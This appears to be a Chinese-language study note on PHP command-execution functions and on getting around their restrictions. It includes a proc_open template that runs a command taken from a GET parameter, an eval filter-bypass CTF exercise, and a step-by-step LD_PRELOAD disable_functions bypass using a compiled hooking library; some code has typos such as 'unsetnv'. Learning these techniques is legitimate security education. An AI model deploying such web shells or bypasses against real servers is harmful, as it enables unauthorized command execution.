PHP命令执行
参见B站视频:
https://www.bilibili.com/video/BV1tG4y1c7Vb
# 常见命令执行危险函数
常见函数:system
exec
passthru
shell_exec
反引号
popen
proc_open
pcntl_exec
重点关注:如何运行
运行条件
参数
能否回显
# system
语法结构:
system(string $command,int &$return_var = ?)
参数command
:执行的命令
参数return_var
:可选,作用是返回运行后状态到变量里(0成功,1失败)
特点:直接有回显
# exec
语法结构:
exec(string $command,array &$output = ?,int &$return_var = ?)
参数command
:执行的命令,单独使用只有最后一行的结果,且不回显
参数output
:用命执行的输出填充此数组。每行输出填充为一个元素(即逐行填充数组)
可组合var_dump使用得到全部回显
参数return_var
:可选,作用是返回运行后状态到变量里(0成功,1失败)
特点:回显只有最后一行
# passthru
语法结构:
passthru(string $command,int &$return_var = ?)
参数command
:执行的命令
参数return_var
:可选,作用是返回运行后状态到变量里(0成功,1失败)
特点:有回显,输出二进制数据且需要直接传送的服务器
# shell_exec
语法结构:
shell_exec(sting $cmd)
参数cmd
:执行的命令
可借助echo、print回显
特点:无回显
# 反引号「`」
语法结构:
echo `$cmd`
参数cmd
:执行的命令
可借助echo、print回显
特点:无回显
# popen
语法结构:
popen(string $command,string $mode)
参数command
:执行的命令
参数mode
:模式,r
表读,w
表写(w
模式支持自动回显)
特点:默认无回显,其写入临时进程里,使用fgets
或者fread
获取内容再用print_r
输出
用例:
<?php
$cmd = "dir";
$ben = popen($cmd,'r');
while($s=fgets($ben)){
print_r($s);
}
?>
<?php
$cmd = "dir";
$ben = popen($cmd,'r');
echo fread($ben,4096);
?>
<?php
$cmd = "dir";
$ben = popen($cmd,'w');
?>
# proc_open
语法结构:
proc_open($command,$descriptor_spec,$pipes,$cwd,$env_vars,$options)
参数command
:执行的命令
参数descriptor_spec
:定义数组内容
参数pipes
:调用数组内容
特点:默认无回显
使用模板:
<?php
$cmd = $_GET["cmd"];//执行命令内容
$array = array(
array("pipe","r"), //标准输入
array("pipe","w"), //标准输出内容
array("file","/tmp/error-output.txt","a") //标准输出错误
);
$fp = proc_open($cmd,$array,$pipes); //打开一个进程通道
echo stream_get_contents($pipes[1]); //为什么是$pipes[1],因为1是代表输出内容
proc_close($fp);
?>
# pcntl_exec
语法结构:
pcntl_exec(string $path,array $args = ?,array $envs = ?)
参数path
:必须是可以执行的二进制文件的路径,或者在文件第一行指定了某可执行文件路径标头的脚本(如#!/usr/local/bin/perl
的perl脚本)
参数args
:是要传递给程序的参数的字符串数组(如-l
-r
)
参数envs
:是传递给程序作为环境变量的字符串数组,格式为 key => value(key
是要传递的环境变量的名称,value
是环境变量值)
特点:使用前需要装pcntl_exec
模块
# 替换绕过函数过滤
例题1:
<?php
if(isset($_GET['cmd'])){
$c = $_GET['cmd'];
if(!preg_match("/exec|system|popen|proc_open|\`/i", $c)){
eval($c);
}
else{
echo "你是黑客么?";
}
}
方法1:使用漏掉的函数如passthru
方法2:文件包含
# LD_PRELOAD 绕过
使用场景:disable_functions里禁用的所用可能用的到的命令执行函数
前置知识:程序的链接
静态链接:在程序运行前,将各个目标木块以及所需要的库函数链接成一个完整的可执行函数,之后不再拆开
动态链接:源程序编译后,所得到的一组目标模块,在装入内存时,边装入边链接
运行时动态链接:源程序编译后的目标木块,在程序执行过程中需要使用到才对其链接
对于动态链接来说需要一个动态链接库,其作用在于当动态库中的函数发生变化时,对于可执行来说是透明的,可执行的无需重新编译,方便程序的发布/维护/更新
假如动态链接加载的函数是恶意的,就有可能导致disable_function被绕过
绕过条件:
- 能够上传
.so
文件 - 能够控制环境变量的值(设置LD_PRELOAD变量,如
putenv
函数未被禁止) - 存在可以控制PHP启动外部程序的函数并能执行(因为新进程启动需要加载LD_PRELOAD中
.so
文件:常用如mail()
imap_mail()
mb_send_mail()
error_log()
等
函数介绍:
LD_PRELOAD
:修改库文件
他可以影响程序运行时的链接,允许你定义在程序前优先加载的动态链接库
通过这个环境变量,我们可以在主程序和其动态链接库的中间加载甚至覆盖别的动态链接库
mail
:内嵌在PHP里
imagick
:需要扩展安装
执行流程:
创建**/demo.php**
<?php
mail(",",",");
?>
把demo.php执行的动作以文本的方式放在1.txt
# strace -o 1.txt -f php demo.php
检查调用了哪些子程序
# cat 1.txt | grep execve
注意到/usr/sbin/sendmail
查看sendmail
调用了哪些库文件
# readelf -Ws /usr/sbin/sendemail
注意到geteuid
c语言编译一个库文件
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload(){
system("echo '有内鬼,停止发邮件'");
}
int geteuid(){// 生成动作getuid,执行payload
unsetnv("LD_PRELOAD");// 结束调用
payload();
}
编译成.so
文件,生成动态链接库文件demo.c
# gcc -shared -fPIC demo.c -o demo.so
修改**/demo.php**
<?php
putenv("LD_PRELOAD=./demo.so");// 加载动态库文件
mail(",",",");
?>
执行**/demo.php**指令执行